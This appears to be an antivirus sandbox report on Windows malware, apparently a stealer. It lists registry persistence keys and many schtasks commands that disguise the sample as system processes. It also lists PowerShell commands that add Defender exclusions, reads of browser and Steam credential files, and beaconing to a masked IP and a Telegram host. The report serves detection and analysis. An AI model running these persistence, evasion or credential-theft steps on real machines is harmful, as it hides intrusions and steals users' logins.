Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'firefox' = '"C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe", "C:\MSOCache\All Users\{90140000-0018-0409-1000-000...
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'csrss' = '"%ProgramFiles%\ashDug\csrss.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'taskhost' = '"%ALLUSERSPROFILE%\Templates\taskhost.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'services' = '"<Current directory>\services.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'csrss' = '"C:\Far2\FExcept\csrss.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'spoolsv' = '"C:\totalcmd\LANGUAGE\spoolsv.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WmiPrvSE' = '"C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'dwm' = '"<Current directory>\dwm.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"C:\totalcmd\LANGUAGE\lsass.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\lsassl
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\firefoxf
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\taskhost
- <SYSTEM32>\tasks\taskhostt
- <SYSTEM32>\tasks\services
- <SYSTEM32>\tasks\servicess
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\spoolsvs
- <SYSTEM32>\tasks\wmiprvse
- <SYSTEM32>\tasks\wmiprvsew
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\dwmd
Malicious functions
Reads files which store third party applications passwords
- %ProgramFiles(x86)%\steam\config\config.vdf
- %ProgramFiles(x86)%\steam\config\dialogconfig.vdf
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\microsoft\rac\outbound\lsass.exe
- C:\totalcmd\language\6203df4a6bafc7
- %TEMP%\ojcxp3jsxg
- %TEMP%\ghb7gmd5x7.bat
- nul
- %TEMP%\powdbazgbi
- %TEMP%\jvqikb14zn
- %TEMP%\tigfj3tw0r
- %TEMP%\bvpdjtwbww
- <Current directory>\6cb0b6c459d5d3
- C:\totalcmd\language\lsass.exe
- %TEMP%\ibpcs1t93x
- %TEMP%\3s3dwsjtdd
- %TEMP%\91x0esekcp
- %TEMP%\fd7i1xhadw
- %TEMP%\5byjgqhvyq
- %TEMP%\h7bkhtgeon
- %TEMP%\mqogszvul9
- %TEMP%\kiqqh8dnun
- %TEMP%\kswmhhcxah
- %TEMP%\skhzjapl8r
- %TEMP%\redhl4ut6g
- <Current directory>\dwm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\24dbde2999530e
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wmiprvse.exe
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\firefox.exe
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\0fc223bdacedc3
- %ProgramFiles%\ashdug\csrss.exe
- %ProgramFiles%\ashdug\886983d96e3d3e
- <Current directory>\rcx6f65.tmp
- <Current directory>\rcx6fd3.tmp
- %ALLUSERSPROFILE%\microsoft\rac\outbound\rcx7225.tmp
- %ALLUSERSPROFILE%\microsoft\rac\outbound\rcx72e1.tmp
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\rcx75a0.tmp
- %ALLUSERSPROFILE%\microsoft\rac\outbound\6203df4a6bafc7
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\rcx765c.tmp
- %ProgramFiles%\ashdug\rcx79d7.tmp
- %ALLUSERSPROFILE%\templates\taskhost.exe
- %ALLUSERSPROFILE%\templates\b75386f1303e64
- <Current directory>\services.exe
- <Current directory>\c5b4cb5e9653cc
- C:\far2\fexcept\csrss.exe
- C:\far2\fexcept\886983d96e3d3e
- C:\totalcmd\language\spoolsv.exe
- C:\totalcmd\language\f3b6ecef712a24
- %ProgramFiles%\ashdug\rcx790c.tmp
- %TEMP%\rcwzkowr1q
- %TEMP%\5wkzfyrvcj
Sets the 'hidden' attribute to the following files
- <Full path to file>
- %ALLUSERSPROFILE%\microsoft\rac\outbound\lsass.exe
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\firefox.exe
- %ProgramFiles%\ashdug\csrss.exe
- %ALLUSERSPROFILE%\templates\taskhost.exe
- <Current directory>\services.exe
- C:\far2\fexcept\csrss.exe
- C:\totalcmd\language\spoolsv.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\wmiprvse.exe
- <Current directory>\dwm.exe
- C:\totalcmd\language\lsass.exe
Deletes the following files
- %TEMP%\ojcxp3jsxg
- %TEMP%\kswmhhcxah
- %TEMP%\kiqqh8dnun
- %TEMP%\mqogszvul9
- %TEMP%\h7bkhtgeon
- %TEMP%\5byjgqhvyq
- %TEMP%\fd7i1xhadw
- %TEMP%\91x0esekcp
- %TEMP%\3s3dwsjtdd
- %TEMP%\redhl4ut6g
- %TEMP%\skhzjapl8r
- %TEMP%\ibpcs1t93x
- %TEMP%\bvpdjtwbww
- %TEMP%\tigfj3tw0r
- %TEMP%\jvqikb14zn
- %TEMP%\powdbazgbi
- %TEMP%\rcwzkowr1q
- %TEMP%\5wkzfyrvcj
Moves the following files
- from <Current directory>\rcx6fd3.tmp to <Full path to file>
- from %ALLUSERSPROFILE%\microsoft\rac\outbound\rcx7225.tmp to %ALLUSERSPROFILE%\microsoft\rac\outbound\lsass.exe
- from %ALLUSERSPROFILE%\microsoft\rac\outbound\rcx72e1.tmp to %ALLUSERSPROFILE%\microsoft\rac\outbound\lsass.exe
- from C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\rcx75a0.tmp to C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\firefox.exe
- from C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\rcx765c.tmp to C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\firefox.exe
- from %ProgramFiles%\ashdug\rcx790c.tmp to %ProgramFiles%\ashdug\csrss.exe
- from %ProgramFiles%\ashdug\rcx79d7.tmp to %ProgramFiles%\ashdug\csrss.exe
Network activity
Connects to
- 'ip##pi.com':80
- '3.###.129.109':80
- 'ip##fo.io':443
- 'ap#.##legram.org':443
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
- http://3.###.129.109/ImageWindowsasyncDownloads.php?Ta###########################################################################################################################################...
- http://3.###.129.109/ImageWindowsasyncDownloads.php?KB###########################################################################################################################################...
Other
- 'ap#.##legram.org':443
- 'ip##fo.io':443
UDP
- DNS ASK ip##pi.com
- DNS ASK ip##fo.io
- DNS ASK ap#.##legram.org
- 'localhost':123
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\ashDug\csrss.exe'
- '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Current directory>\services.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\totalcmd\LANGUAGE\lsass.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Templates\taskhost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\totalcmd\LANGUAGE\spoolsv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Current directory>\dwm.exe'
- '<Current directory>\services.exe'
- '<Full path to file>' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\GHB7GMD5x7.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc MINUTE /mo 10 /tr "'%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONSTART /tr "'C:\Far2\FExcept\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Far2\FExcept\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONSTART /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WmiPrvSE" /sc MINUTE /mo 11 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\GHB7GMD5x7.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc MINUTE /mo 8 /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONSTART /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'<Current directory>\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc MINUTE /mo 11 /tr "'C:\totalcmd\LANGUAGE\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONSTART /tr "'C:\totalcmd\LANGUAGE\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\totalcmd\LANGUAGE\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\Far2\FExcept\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WmiPrvSE" /sc ONSTART /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\WmiPrvSE.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc MINUTE /mo 7 /tr "'C:\Far2\FExcept\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'%ProgramFiles%\ashDug\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'%ALLUSERSPROFILE%\Microsoft\RAC\Outbound\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc MINUTE /mo 6 /tr "'%ProgramFiles%\ashDug\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONSTART /tr "'%ProgramFiles%\ashDug\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "services" /sc ONSTART /tr "'<Current directory>\services.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\ashDug\csrss.exe'" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\firefox.exe'
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Templates\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Templates\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Templates\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Templates\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "services" /sc MINUTE /mo 12 /tr "'<Current directory>\services.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "services" /sc ONLOGON /tr "'<Current directory>\services.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "servicess" /sc MINUTE /mo 9 /tr "'<Current directory>\services.exe'" /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
